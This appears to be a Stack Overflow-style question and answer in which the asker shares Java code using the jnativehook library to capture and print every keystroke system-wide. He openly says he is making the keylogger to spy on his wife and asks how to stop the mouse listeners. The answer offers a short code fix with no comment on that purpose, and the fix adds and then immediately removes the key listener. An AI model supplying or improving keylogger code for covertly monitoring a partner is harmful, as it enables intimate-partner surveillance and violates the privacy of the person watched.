0

So as the title suggests, I'm trying to disable the mouse listener within jnativehook-2.1.0 and it just won't work, the reason I'm making a keylogger is to spy on my wife.

So here's the code that I'm using:

package main;
import java.lang.System.Logger.Level;
import javax.security.auth.login.LoginException;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
import org.jnativehook.mouse.NativeMouseEvent;
import org.jnativehook.mouse.NativeMouseListener;
import org.jnativehook.mouse.NativeMouseMotionListener;
import org.jnativehook.mouse.NativeMouseWheelEvent;
import org.jnativehook.mouse.NativeMouseWheelListener;
import org.slf4j.Logger;

public class Main implements NativeKeyListener,
                             NativeMouseListener,
                             NativeMouseMotionListener,
                             NativeMouseWheelListener {

    public static void main(String[] args)throws  NativeHookException {
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(new Main());

        GlobalScreen.removeNativeMouseListener(new Main());
        GlobalScreen.removeNativeMouseMotionListener(new Main());
        GlobalScreen.removeNativeMouseWheelListener(new Main());
    }

    @Override
    public void nativeKeyPressed(NativeKeyEvent e) {
        System.out.println(NativeKeyEvent.getKeyText(e.getKeyCode()));
    }

    @Override
    public void nativeKeyReleased(NativeKeyEvent e) {
        System.out.println(NativeKeyEvent.getKeyText(e.getKeyCode()));
    }

    @Override
    public void nativeKeyTyped(NativeKeyEvent e) {
        System.out.println(NativeKeyEvent.getKeyText(e.getKeyCode()));
    }

    @Override
    public void nativeMouseClicked(NativeMouseEvent arg0) {
        // TODO Auto-generated method stub
    }

    @Override
    public void nativeMousePressed(NativeMouseEvent arg0) {
        // TODO Auto-generated method stub
    }

    @Override
    public void nativeMouseReleased(NativeMouseEvent arg0) {
        // TODO Auto-generated method stub
    }

    @Override
    public void nativeMouseDragged(NativeMouseEvent arg0) {
        // TODO Auto-generated method stub
    }

    @Override
    public void nativeMouseMoved(NativeMouseEvent arg0) {
        // TODO Auto-generated method stub
    }

    @Override
    public void nativeMouseWheelMoved(NativeMouseWheelEvent arg0) {
        // TODO Auto-generated method stub
    }
}

Could really use the help, because I've disabled the listeners but it still doesn't remove that specified output out of the console.

Abra
  • 19,142
  • 7
  • 29
  • 41

1 Answers1

0
  public static void main(String[] args)throws  NativeHookException {
    GlobalScreen.registerNativeHook();
    Main main = new Main();
    GlobalScreen.getInstance().addNativeKeyListener(main);// add key output
    GlobalScreen.getInstance().removeNativeKeyListener(main);//disable key output
}
  • 1
    Your answer could be improved with additional supporting information. Please [edit] to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers [in the help center](/help/how-to-answer). – Community Jan 21 '23 at 07:25